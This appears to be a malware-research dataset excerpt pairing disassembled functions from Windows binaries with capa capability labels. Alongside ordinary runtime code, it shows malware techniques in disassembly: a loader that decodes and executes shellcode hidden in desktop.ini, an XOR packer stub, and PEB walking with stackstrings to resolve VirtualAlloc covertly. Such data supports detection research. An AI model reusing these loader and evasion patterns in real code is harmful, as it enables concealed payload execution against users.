joyce8/EMBER2024-capa huggingface dataset:
Function at 0x47fc15
Capabilities:
Encode data using base64

Disassembly:
lea esi, [ebp + 0x151b8]
mov eax, 0x20202020
xchg esi, edi
mov ecx, 0x32
repe scasd eax, dword es:[edi]
xchg esi, edi
jne 0x47fd01
cmp word [ebp + 0x1aa57], ax
jne 0x47fc5a
lea edi, [ebp + 0x1aa59]
mov al, 0x54
stosb byte es:[edi], al
mov ax, 0x646f
stosw word es:[edi], ax
mov ah, 0x73
stosd dword es:[edi], eax
mov ax, 0x2020
mov cl, 0xd
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
jmp 0x47fd01
mov esi, 0x496fb8
mov dword [ebp - 0x14], esi
lea eax, [ebp + 0x1aa59]
push eax
add eax, 0xfffffffe
push eax
mov edx, dword [0x4df644]
mov ebx, dword [edx + 0x523]
or ebx, ebx
je 0x47fc88
test byte [ebx + 0x17], 0x80
jne 0x47fc88
mov ebx, dword [ebx + 0xc]
jmp 0x47fca2
sub ebx, ebx
push ebx
add edx, 0x523
push edx
push 7
add edx, 6
push edx
call sub.cblrtss.dll__mFfindp
add esp, 0x10
mov ebx, eax
mov al, 2
call ebx
test edx, 0x9a50
add esp, 8
bswap eax
mov dword [ebp + 0x1b3a4], eax
push 7
push 0x496fd0
call sub.cblrtss.dll__mFgCE
add esp, 8
cmp word [ebp + 0x1aa57], 0x2a2a
cmc
jne 0x47fd01
mov esi, 0x496fd8
lea edi, [ebp + 0x151b8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, 0x20202020
mov ecx, 0x2e
rep stosd dword es:[edi], eax
mov word [ebp + 0x1aa57], ax
mov al, 0x49
mov byte [ebp + 0x151a8], al
call fcn.00452d80
mov esi, 0x491b60
mov dword [ebp - 0x14], esi
lea eax, [ebp + 0x1a44c]
push eax
mov edx, dword [0x4df644]
mov ebx, dword [edx + 0xa5]
or ebx, ebx
je 0x47fd2b
test byte [ebx + 0x17], 0x80
jne 0x47fd2b
mov ebx, dword [ebx + 0xc]
jmp 0x47fd45
sub ebx, ebx
push ebx
add edx, 0xa5
push edx
push 0xc
add edx, 6
push edx
call sub.cblrtss.dll__mFfindp
add esp, 0x10
mov ebx, eax
mov al, 1
call ebx
test edx, 0x99ad
add esp, 4
bswap eax
mov dword [ebp + 0x1b3a4], eax
cmp dword [esp + 4], 0xffffff99
jne fcn.0047fd64
ret 4
Function at 0x4834e1
Capabilities:
Encode data using base64

Disassembly:
lea esi, [ebp + 0x1aa99]
cmp byte [esi], 0x43
lea esi, [esi + 1]
jne 0x483526
cmp word [esi], 0x6d6f
lea esi, [esi + 2]
jne 0x483526
cmp dword [esi], 0x20617270
lea esi, [esi + 4]
jne 0x483526
mov eax, 0x20202020
xchg esi, edi
mov ecx, 3
repe scasd eax, dword es:[edi]
xchg esi, edi
jne 0x483526
cmp byte [esi], al
lea esi, [esi + 1]
jne 0x483526
push 0xffffffffffffffb0
call fcn.00483760
jmp 0x48354f
mov esi, 0x4970b8
lea edi, [ebp + 0x151b8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, 0x20202020
mov ecx, 0x2d
rep stosd dword es:[edi], eax
mov al, 0x43
mov byte [ebp + 0x151a8], al
call fcn.00452d80
cmp dword [esp + 4], 0xffffffae
jne fcn.00483559
ret 4
Function at 0x483559
Capabilities:
Encode data using base64

Disassembly:
mov eax, 0x464e4f43
mov dword [ebp + 0x1d9d8], eax
mov eax, 0x3031524f
mov dword [ebp + 0x1d9dc], eax
mov esi, 0x492248
mov dword [ebp - 0x14], esi
lea eax, [ebp + 0x1d9d8]
push eax
add eax, 0xffffd7e8
push eax
mov edx, dword [0x4df644]
mov ebx, dword [edx + 0x12a]
or ebx, ebx
je 0x48359f
test byte [ebx + 0x17], 0x80
jne 0x48359f
mov ebx, dword [ebx + 0xc]
jmp 0x4835b9
sub ebx, ebx
push ebx
add edx, 0x12a
push edx
push 7
add edx, 6
push edx
call sub.cblrtss.dll__mFfindp
add esp, 0x10
mov ebx, eax
mov al, 2
call ebx
test edx, 0x6139
add esp, 8
bswap eax
mov dword [ebp + 0x1b3a4], eax
push 7
push 0x492260
call sub.cblrtss.dll__mFgCE
add esp, 8
mov esi, 0x493868
mov dword [ebp - 0x14], esi
lea eax, [ebp + 0x1aadf]
push eax
add eax, 0x6e1
push eax
mov edx, dword [0x4df644]
mov ebx, dword [edx + 0x5dd]
or ebx, ebx
je 0x48360d
test byte [ebx + 0x17], 0x80
jne 0x48360d
mov ebx, dword [ebx + 0xc]
jmp 0x483627
sub ebx, ebx
push ebx
add edx, 0x5dd
push edx
push 8
add edx, 6
push edx
call sub.cblrtss.dll__mFfindp
add esp, 0x10
mov ebx, eax
mov al, 2
call ebx
test edx, 0x60cb
add esp, 8
bswap eax
mov dword [ebp + 0x1b3a4], eax
push 8
push 0x49717c
call sub.cblrtss.dll__mFgCE
add esp, 8
mov eax, dword [ebp + 0x1aadf]
mov dword [ebp + 0xe838], eax
mov ax, word [ebp + 0x1aae3]
mov word [ebp + 0xe83c], ax
sub eax, eax
mov word [ebp + 0x2a60], ax
mov ax, 0xf6fa
mov word [ebp + 0xa], ax
lea eax, [ebp + 0x2a2c]
push eax
mov eax, 0x491242
push eax
lea esi, [eax - 0x6da]
mov dword [ebp - 0x14], esi
mov al, 2
call sub.cblrtss.dll_EXTFH
test edx, 0x6063
add esp, 8
mov ax, word [ebp + 0x2a2c]
mov word [ebp + 0x15428], ax
cmp byte [ebp + 0x2a2c], 0x32
ja 0x483756
cmp byte [ebp + 0x2a2c], 0x32
je 0x483756
cmp byte [ebp + 0x113f4], 0x31
jne 0x4836e6
lea esi, [ebp + 0xe83e]
lea edi, [ebp + 0x1aae5]
movsw word es:[edi], word [esi]
mov ecx, 0xe
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
jmp 0x4836fd
lea esi, [ebp + 0xe87a]
lea edi, [ebp + 0x1aae5]
movsw word es:[edi], word [esi]
mov ecx, 0xe
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, 0x491b60
mov dword [ebp - 0x14], esi
lea eax, [ebp + 0x1a594]
push eax
mov edx, dword [0x4df644]
mov ebx, dword [edx + 0xa5]
or ebx, ebx
je 0x483727
test byte [ebx + 0x17], 0x80
jne 0x483727
mov ebx, dword [ebx + 0xc]
jmp 0x483741
mov ebx, ecx
push ebx
add edx, 0xa5
push edx
push 0xc
add edx, 6
push edx
call sub.cblrtss.dll__mFfindp
add esp, 0x10
mov ebx, eax
mov al, 1
call ebx
test edx, 0x5fb1
add esp, 4
bswap eax
mov dword [ebp + 0x1b3a4], eax
cmp dword [esp + 4], 0xffffffaf
jne fcn.00483760
ret 4
Function at 0x483ca3
Capabilities:
Encode data using base64

Disassembly:
push 8
lea eax, [ebp + 0x1dae8]
push eax
call sub.cblrtss.dll__mFgF802
add esp, 8
mov eax, dword [ebp + 0x1dae8]
mov dword [ebp + 0x17a28], eax
mov eax, dword [ebp + 0x1daec]
mov dword [ebp + 0x17a2c], eax
lea eax, [ebp + 0x1d9d8]
push eax
mov esi, ebp
push esi
mov esi, 0x491a90
push esi
mov dword [ebp - 0x14], esi
push esp
mov al, 0
call sub.cblrtss.dll_CBL_FN_CURRENT0DATE
test edx, 0x5a0f
add esp, 0x10
lea esi, [ebp + 0x1d9d8]
lea edi, [ebp + 0x1b168]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
add edi, 0x154
mov eax, 0x20202020
stosb byte es:[edi], al
stosw word es:[edi], ax
mov ecx, 0xb
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
add edi, 0xffffffce
mov eax, 0x52504eac
stosd dword es:[edi], eax
mov eax, 0x4e455045
stosd dword es:[edi], eax
mov al, 0x2d
stosb byte es:[edi], al
mov ax, word [ebp + 0x1b16e]
mov word [edi], ax
mov al, 0x2f
mov byte [edi + 2], al
mov ax, word [ebp + 0x1b16c]
mov word [edi + 3], ax
mov al, 0x2f
mov byte [edi + 5], al
mov ax, word [ebp + 0x1b16a]
mov word [edi + 6], ax
mov al, 0x2d
mov byte [edi + 8], al
mov ax, word [ebp + 0x17a28]
mov word [edi + 9], ax
mov al, 0x3a
mov byte [edi + 0xb], al
mov ax, word [ebp + 0x17a2a]
mov word [edi + 0xc], ax
mov al, 0x3a
mov byte [edi + 0xe], al
mov ax, word [ebp + 0x17a2c]
mov word [edi + 0xf], ax
cmp dword [esp + 4], 0xffffffb1
jne fcn.00483d90
ret 4
Function at 0x483d90
Capabilities:
Encode data using base64

Disassembly:
lea edi, [ebp + 0x17a30]
mov eax, 0x20202020
mov ecx, 0xff
rep stosd dword es:[edi], eax
mov eax, 0x1000000
mov dword [ebp + 0x1d9b8], eax
mov dword [ebp + 0x158], eax
mov edi, dword [ebp + 0x158]
bswap edi
cmp byte [ebp + edi + 0x1b276], 0x2a
jne 0x483dd8
mov edx, dword [ebp + 0x158]
bswap edx
dec edx
bswap edx
mov dword [ebp + 0x158], edx
jmp 0x483df8
mov ecx, dword [ebp + 0x158]
bswap ecx
cmp ecx, 0x3c
jae 0x483df8
mov edx, dword [ebp + 0x158]
bswap edx
inc edx
bswap edx
mov dword [ebp + 0x158], edx
jmp 0x483db3
mov eax, dword [ebp + 0x158]
mov dword [ebp + 0x1d9bc], eax
lea esi, [ebp + 0x1b277]
mov edi, dword [ebp + 0x1d9b8]
bswap edi
lea edi, [ebp + edi + 0x17a2f]
mov ecx, dword [ebp + 0x1d9bc]
bswap ecx
rep movsb byte es:[edi], byte [esi]
mov ebx, dword [ebp + 0x1d9bc]
bswap ebx
mov edx, dword [ebp + 0x1d9b8]
bswap edx
add edx, ebx
bswap edx
mov dword [ebp + 0x1d9b8], edx
mov eax, 0x1b000000
mov dword [ebp + 0x1d9bc], eax
mov esi, 0x4969f8
mov edi, dword [ebp + 0x1d9b8]
bswap edi
lea edi, [ebp + edi + 0x17a2f]
mov ecx, dword [ebp + 0x1d9bc]
bswap ecx
rep movsb byte es:[edi], byte [esi]
mov ebx, dword [ebp + 0x1d9bc]
bswap ebx
mov edx, dword [ebp + 0x1d9b8]
bswap edx
add edx, ebx
bswap edx
mov dword [ebp + 0x1d9b8], edx
mov esi, 0x496a13
lea edi, [ebp + 0x17b2f]
movsb byte es:[edi], byte [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, 0x20202020
mov cl, 0x3c
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esi, 0x7ca
movsw word es:[edi], word [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov cl, 0x3c
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov al, byte [ebp + 0x17ee0]
mov byte [edi], al
mov byte [edi + 1], cl
add esi, 0xffffb248
mov dword [ebp - 0x14], esi
mov eax, edi
push eax
add eax, 0xffffff01
push eax
add eax, 0xffffff01
push eax
add eax, 0xffffff01
push eax
push 0
push 0
add eax, 0x59f8
push eax
push 0xd389
mov eax, dword [ebp + 0x17c]
push eax
add esi, 0x184
push esi
mov al, 0xa
call sub.oopss.dll_oopsresolve
test edx, 0x57ff
add esp, 0x28
cmp dword [esp + 4], 0xffffffb2
jne fcn.00483f0a
ret 4
Function at 0x483f0a
Capabilities:
Encode data using base64

Disassembly:
sub ecx, ecx
mov dword [ebp + 0x17228], ecx
mov dword [ebp + 0x17110], ecx
mov esi, 0x492958
mov dword [ebp - 0x14], esi
lea eax, [ebp + 0x17110]
push eax
push 0
add eax, 0x6320
push eax
push 0x695
mov eax, dword [ebp + 0x1a613]
push eax
add esi, 0x38
push esi
mov al, 6
call sub.oopss.dll_oopsresolve
test edx, 0x57b0
add esp, 0x18
mov eax, dword [ebp + 0x17110]
mov dword [ebp + 0x1d9a8], eax
cmp dword [ebp + 0x1d9a8], 0
je 0x48402a
inc dword [ebp + 0x17228]
mov esi, 0x492918
mov dword [ebp - 0x14], esi
lea eax, [ebp + 0x17228]
push eax
add eax, 0xfffff720
push eax
push 0
add eax, 0x6af0
push eax
push 0x35b12
mov eax, dword [ebp + 0x1a613]
push eax
sub esi, 0xffffff80
push esi
mov al, 7
call sub.oopss.dll_oopsresolve
test edx, 0x5754
add esp, 0x1c
cmp byte [ebp + 0x1aa95], 0x31
jne 0x483fe9
mov esi, 0x492e10
mov dword [ebp - 0x14], esi
push 0
push 0
lea eax, [ebp + 0x1d440]
push eax
push 0x1b4286
mov eax, dword [ebp + 0x16948]
push eax
add esi, 0x38
push esi
mov al, 6
call sub.oopss.dll_oopsresolve
test edx, 0x5718
add esp, 0x18
jmp 0x48401f
mov esi, 0x492888
mov dword [ebp - 0x14], esi
push 0
push 0
lea eax, [ebp + 0x1d448]
push eax
push 0x714286
mov eax, dword [ebp + 0x16948]
push eax
add esi, 0x138
push esi
mov al, 6
call sub.oopss.dll_oopsresolve
test edx, 0x56e0
add esp, 0x18
dec dword [ebp + 0x1d9a8]
jmp 0x483f5b
cmp dword [esp + 4], 0xffffffb3
jne fcn.00484034
ret 4
Function at 0x4856ad
Capabilities:
Encode data using base64

Disassembly:
sub ecx, ecx
mov dword [ebp + 0x17110], ecx
mov dword [ebp + 0x171e0], ecx
mov esi, 0x492958
mov dword [ebp - 0x14], esi
lea eax, [ebp + 0x17110]
push eax
push 0
add eax, 0x6358
push eax
push 0x695
mov eax, dword [ebp + 0x1a688]
push eax
add esi, 0x38
push esi
mov al, 6
call sub.oopss.dll_oopsresolve
test edx, 0x400d
add esp, 0x18
mov eax, dword [ebp + 0x17110]
mov dword [ebp + 0x1d9ac], eax
cmp dword [ebp + 0x1d9ac], 0
je 0x4857da
inc dword [ebp + 0x171e0]
mov esi, 0x492918
mov dword [ebp - 0x14], esi
lea eax, [ebp + 0x171e0]
push eax
add eax, 0xfffffd70
push eax
push 0
add eax, 0x6520
push eax
push 0x35b12
mov eax, dword [ebp + 0x1a688]
push eax
sub esi, 0xffffff80
push esi
mov al, 7
call sub.oopss.dll_oopsresolve
test edx, 0x3fb1
add esp, 0x1c
mov al, 0
mov byte [ebp + 0x17220], al
mov esi, 0x4928e0
mov dword [ebp - 0x14], esi
lea eax, [ebp + 0x17220]
push eax
push 0
add eax, 0x6258
push eax
push 0x67de27
mov eax, dword [ebp + 0x16f50]
push eax
add esi, 0xc4
push esi
mov al, 6
call sub.oopss.dll_oopsresolve
test edx, 0x3f6f
add esp, 0x18
cmp byte [ebp + 0x17220], 1
jne 0x4857cf
mov esi, 0x492888
mov dword [ebp - 0x14], esi
push 0
push 0
lea eax, [ebp + 0x1d480]
push eax
push 0x714286
mov eax, dword [ebp + 0x16f50]
push eax
add esi, 0x138
push esi
mov al, 6
call sub.oopss.dll_oopsresolve
test edx, 0x3f30
add esp, 0x18
dec dword [ebp + 0x1d9ac]
jmp 0x4856fe
cmp dword [esp + 4], 0xffffffb6
jne fcn.004857e4
ret 4
Function at 0x40bf40
Capabilities:
Terminate process

Disassembly:
push 0x58
push 0x40df00
call fcn.0040c5e8
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, ebx
mov edx, 0x40f754
mov ecx, esi
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x40bd15
cmp eax, esi
jne 0x40bd08
xor esi, esi
inc esi
mov edi, esi
jmp 0x40bd18
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40bcec
xor esi, esi
inc esi
cmp dword [0x40f758], esi
jne 0x40bd2a
push 0x1f
call fcn.00582000
pop ecx
jmp 0x40bd64
cmp dword [0x40f758], ebx
jne 0x40bd5e
mov dword [0x40f758], esi
push 0x401698
push 0x40168c
call fcn.0040be9e
pop ecx
pop ecx
test eax, eax
je 0x40bd64
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x40be8e
mov dword [0x40ee70], esi
cmp dword [0x40f758], esi
jne 0x40bd87
push 0x401688
push 0x40164c
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x40f758], 2
test edi, edi
jne 0x40bd94
xor eax, eax
mov ecx, 0x40f754
xchg dword [ecx], eax
cmp dword [0x40f764], 0
je 0x40bdc0
push 0x40f764
call fcn.0040c440
pop ecx
test eax, eax
je 0x40bdc0
push ebx
push 2
push ebx
mov esi, dword [0x40f764]
mov ecx, esi
call dword [0x4101d0]
call esi
mov eax, dword [sym.imp.msvcrt.dll__wcmdln]
mov ecx, dword [eax]
test ecx, ecx
je 0x40bd4d
mov dword [ebp - 0x20], ecx
push 0x20
pop esi
mov edx, dword [ebp - 0x1c]
movzx eax, word [ecx]
cmp ax, si
ja 0x40be2b
test ax, ax
je 0x40bdfa
test edx, edx
jne 0x40be2b
test ax, ax
je 0x40bdfa
cmp ax, si
ja 0x40bdfa
add ecx, 2
mov dword [ebp - 0x20], ecx
movzx eax, word [ecx]
jmp 0x40bde5
test byte [ebp - 0x3c], 1
je 0x40be06
movzx eax, word [ebp - 0x38]
jmp 0x40be09
push 0xa
pop eax
push eax
push ecx
push ebx
push 0x400000
call main
mov dword [0x40ee6c], eax
cmp dword [0x40ee84], 0
jne 0x40be73
push eax
call dword [sym.imp.msvcrt.dll_exit]
cmp eax, 0x22
jne 0x40be3c
xor eax, eax
test edx, edx
sete al
mov edx, eax
mov dword [ebp - 0x1c], edx
add ecx, 2
mov dword [ebp - 0x20], ecx
jmp 0x40bdd4
cmp dword [0x40ee70], 0
jne 0x40be87
call dword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x40ee6c]
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
call fcn.0040c535
jmp 0x40bcc3

Function at 0x40c324
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x40df40
call fcn.0040c5e8
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x40c384
cmp eax, 0xffffffff
je 0x40c384
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x40c37d
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x40c37d
cmp edx, 0x10000000
jae 0x40c37d
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x40c37a
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x747534fe
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x73b37b0e
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x415450
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
xor edx, edx
mov eax, edx
and eax, 1
sub eax, 1
not eax
and eax, 0xedb88320
mov ecx, edx
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
sub ecx, 1
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
sub eax, 1
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
sub ecx, 1
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
sub eax, 1
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
sub ecx, 1
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
sub eax, 1
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
sub ecx, 1
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov dword [edx*4 + 0x41dc60], ecx
add edx, 1
cmp edx, 0x100
jb 0x415452
cmp edx, 0x800
jae 0x41553b
mov edi, edi
mov eax, dword [edx*4 + 0x41d860]
mov ecx, eax
and ecx, 0xff
shr eax, 8
xor eax, dword [ecx*4 + 0x41dc60]
add edx, 1
cmp edx, 0x800
mov dword [edx*4 + 0x41dc5c], eax
jb 0x415510
mov dword [0x41dc34], 0x415bf0
call fcn.00415680
test eax, eax
jne 0x415558
mov dword [0x41dc34], 0x415b10
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x40fdfc
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x40feb0
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.0040fd8c
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x40fe89
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40febc
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x40fed7
test ebp, ebp
je 0x40fed7
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x40fedf
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x40ff1f
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x40ff7b
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x40ff76
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x40ff61
test dl, dl
je 0x40ff5d
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x40ff61
add ecx, 2
add eax, 2
test dl, dl
jne 0x40ff41
xor eax, eax
jmp 0x40ff66
sbb eax, eax
or eax, 1
test eax, eax
je 0x40ff85
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x40ff2e
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
Function at 0x40ff9c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push edi
mov edi, edx
mov ebx, ecx
call fcn.0040fdfc
test eax, eax
jne 0x40ffb4
pop edi
pop ebx
add esp, 0x10
ret
push esi
lea edx, [esp + 0xc]
mov ecx, eax
mov dword [esp + 0xc], 0x74726956
mov dword [esp + 0x10], 0x416c6175
mov dword [esp + 0x14], 0x636f6c6c
mov byte [esp + 0x18], 0
call fcn.0040febc
mov esi, eax
test esi, esi
jne 0x40ffea
pop esi
pop edi
pop ebx
add esp, 0x10
ret
push 0x40
push 0x3000
push edi
push ebx
call esi
test eax, eax
jne 0x410004
push 0x40
push 0x3000
push edi
push eax
call esi
pop esi
pop edi
pop ebx
add esp, 0x10
ret